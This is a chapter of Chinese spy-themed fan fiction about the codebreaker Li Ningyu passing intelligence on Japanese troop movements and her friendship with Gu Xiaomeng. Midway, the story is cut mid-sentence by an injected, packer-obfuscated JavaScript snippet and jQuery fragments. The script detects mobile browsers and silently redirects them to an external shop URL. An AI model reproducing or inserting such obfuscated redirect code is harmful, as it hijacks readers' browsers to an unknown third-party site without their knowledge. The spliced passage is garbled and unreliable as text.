文趣网 > 都市小说 > 【风声】在风中 > 10. 老鬼
    李宁玉独自靠在阳台栏杆上,今天月色不怎么样,边缘毛毛的,明天可能会刮大风。

    虽然不好看,但月亮总算是公平的,无论穷富,都有看一眼的资格,谁也无法据为己有。

    最近日军向皖南调兵的迹象越发明显了,短短几天已经有数千人,她将这些情报稍微整理了一下,如实传了出去。至于他们为什么调兵,到底冲着哪边去,李宁玉没有确切证据,让延安去做判断。

    她一向是这样的,只忠实地传出消息,不给行动建议。

    回到屋里拉上窗帘,她将桌上那个空空如也的军用罐头扔进垃圾桶,走进了浴室。蒸汽升腾,镜子上了一层霜,她在中间画了个圆,右边写上“中秋”二字。

    中秋节总是需要些仪式感的,她给自己的奖励,是舒舒服服地洗个热水澡,然后早些睡觉。

    半夜的时候,她忽然被噩梦惊醒了。

    一头汗地坐起来,她回想着刚才的梦魇:76号带人到办公室抓捕了顾晓梦,说,老鬼,你暴露了。顾晓梦大喊大叫,说我不是老鬼,李宁玉才是。

    她长吁一口气,想不通为什么会有这样的情节,大约是因为最近她太关注顾晓梦了吧,怕她重庆特务的身份暴露,而连累了自己。

    心情很快地平复下来,她便又睡了过去,早上起来的时候,她只记得做了个噩梦,再想不起任何内容。

    节后归来,顾晓梦拎着几盒名贵月饼,一人给了一份,但何雨晴并不在,桌面也空了,这一份便剩了下来。

    老赵给每人带了瓶鲜奶,说是亲戚家奶厂新购入了杀菌设备,总算能产A字奶了,第一批给大家带来尝鲜。

    产品升级,能做上流人群的生意了,这对老赵的亲戚来说,的确是一件大喜事。

    顾晓梦抱歉地将那封着烫金封的玻璃瓶递还老赵,说自己从小喝不来鲜奶,拉肚子拉的凶。老赵便也不勉强,便将那瓶奶送给了小川,叫他带给自己年纪尚小的妹妹。

    何雨晴怀孕了,因为胎位不稳,要在家保胎一段时间,她索性申请了转岗,调去了工作强度更低的行政部门。

    “那我们活儿不是又多了?”顾晓梦问道。

    老赵耸了耸肩:“本来也是四个人,现在只不过是又回去了。”

    由于彻底失去了饭友,顾晓梦中午又找上李宁玉,李宁玉如意料之中拒绝了。

    顾晓梦回到座位,打开了那盒剩下的月饼,抓起一块开始啃。

    李宁玉看了看她:“你中午吃这个?”

    顾晓梦咧了嘴:“你不觉得自己吃饭特可怜吗?”

    “无聊。”李宁玉冷冷地说了一句。

    “怪不得没见你有什么朋友。”顾晓梦嘟囔道。

    李宁玉搁下笔:“朋友不在多,多了会让人分心的。”

    “诶呦我的李大科长——交个朋友又不是谈恋爱,分什么心呢。”

    李宁玉叉起双臂:“我不喜欢无效的社交。”

    “咳——咳——”顾晓梦被月饼噎了一口,她赶紧打开水杯,结果发现水杯是空的,来到暖瓶边上,暖瓶也是空的。

    平时都是何雨晴打水,她不在了,这个位置还没人补上。可水房在一楼,走过去至少要几分钟。

    李宁玉见她咳得不行,走过来将自己的杯子递给了她。她如遇大赦,灌了好几口才把那喉咙里的月饼咽下去。

    杯沿被她喝了一个口红印子出来,李宁玉露出了些许嫌弃的表情,一言不发地用手指擦了下去。

    “玉……玉姐,谢谢啊。”顾晓梦深呼吸了一口。

    李宁玉嗯了一声,径直回到了座位,又打开那本没看完的学术期刊研究,好像无事发生。

    嗯?顾晓梦心里一动。

    她突然意识到自己刚刚喊的是“玉姐”,而不是“李科长”或者“李上校”。

    正常来讲,那个人不应该立刻让她改正么——可这次并没有。

    这是个好迹象,难道说有戏?顾晓梦凝视着李宁玉。

    难不成真的可以和她交个朋友试试?她最近看起来好像也没一开始那么死硬了。

    她接着吃手中那半块月饼,觉得这豆沙好像比刚刚甜了不少。

    日子像一副咬合精确的齿轮,一天天地流过,时间不给人一点缝隙,不知不觉半个月便过了。

    这段日子以来,顾晓梦时时想叫上玉姐一起做这做那,有时候是酒吧,有时候是出游。

    但李宁玉从不感兴趣她那些社交活动,一次都没有参与过,给顾晓梦碰了好几个钉子。最后顾晓梦也就不再喊她了,自己和“狐朋狗友”们倒也玩得更自在。

    唯独吃午饭这件事不一样。李宁玉若是不应,顾晓梦也就不吃,李宁玉在办公室啃烧饼,顾晓梦就啃馒头,似乎打定了主意绝不自己孤零零地去吃午饭。

    渐渐地李宁玉也架不住她这种“非暴力、不合作”的软磨硬泡,开始越来越多地陪她吃午饭,没想到有了意外收获,规律而丰富的饮食让那胃病倒是犯得越发少了。

    顾晓梦会在私下里不断叫她“玉姐”,一开始李宁玉还出言提醒,但顾晓梦最爱蹬鼻子上脸,就是说不听,最后李宁玉也懒得再磨嘴皮子,随她爱叫什么去了。

    时间来到九月底,电文数量激增,大部分是部队和后勤调度方面,日本人似乎在向皖南做着大集结。

    重庆和延安在皖南的摩擦越来越多,附近局势很不明朗,这一点就连日本人的战报里都提到了。

    近期,日军的调度非常诡异,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929458|213588||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不但每天都有,而且忽南忽北,似乎有意地在迷惑敌人。

    李宁玉始终摸不清日本人到底要打哪里,只好把这些信息频繁传出。在她看来,战略研判应该和破解密钥差不太多,只要信息量足够,战略专家们总会从敌人的动向中分析出他们的真正目的。

    单单这一个星期,她已经把杭州城内可用的五个情报传递点轮流用了一遍:

    药店的垃圾桶、书店的第二个架子、粮油店的米缸、西湖边的茶馆、中山中路的艺术馆附近。

    李宁玉不清楚这件事究竟要持续到什么时候,但持续这样下去,暴露的风险会越来越大。可组织没有通知停止,她就需要一直做下去。

    有个同志每天都会跟着她,李宁玉知道这一点,她并不清楚是谁,也从未发现过。不过这倒是让她悬着的心稍微放下了一些——如果是她都发现不了的跟踪者,那别人就更不可能发现了。

    交通站的阿竹、马老师和老猫,李宁玉并不认识,她只知道直接上线老枪,且是只见其字,从未见其人,连是男是女也不知道。可她知道,这条线上除了自己,绝不止有老潘和老枪这两个人,她并不是孤军奋战。

    她深知,组织对她的隐瞒是必要的,毕竟深入敌营的是她,暴露风险最高的也是她,万一她被捕叛了变,知道的太多反而不是什么好事情。

    所以她每次藏完讯息,绝不回头看那个来取纸条的人是谁——不是不好奇,而是不能。

    九月三十日的晚上,她看见对角的住家又给了接头信号:蓝色裤子一条,总共9件衣服。

    星期二,傍晚,街对面的菜市场。

    第二天下班,她如约去了菜市场,逛了一大圈都并没碰到任何人。到家的时候,外衣口袋里已经多了一包辣椒粉,也不知道是什么时候放进来的。包辣椒粉的牛皮纸上有几组数字,她立刻拿出母本开始解译。

    【皖南战略研判完成】

    【即刻静默至国诞结束】

    【如有紧急情况另行通知】

    【老枪】

    李宁玉向椅背上重重一靠,长舒了一口气。她不知道上面研判了什么,也无法预测皖南最终会打成什么结果,所以她目前还无法笑得出来。不过有了这些情报,总不会比没有更差。她的又一个任务完成了。

    十月二日,日军果然行动了,分三路向皖南的新四军发起了大规模“扫荡”。战报传到机要处已是3日上午,李宁玉看着自己亲手解译出来的信息,心跳有些加速,她喝了口水,让自己平复了下去。

    日军开过去一万多人,比新四军多,虽然还没有接战,但日军在快速推进,看来打起来也就是两三天的事了。现在只有信任同志们能打赢这场以少胜多的仗,至少是能够全身而退。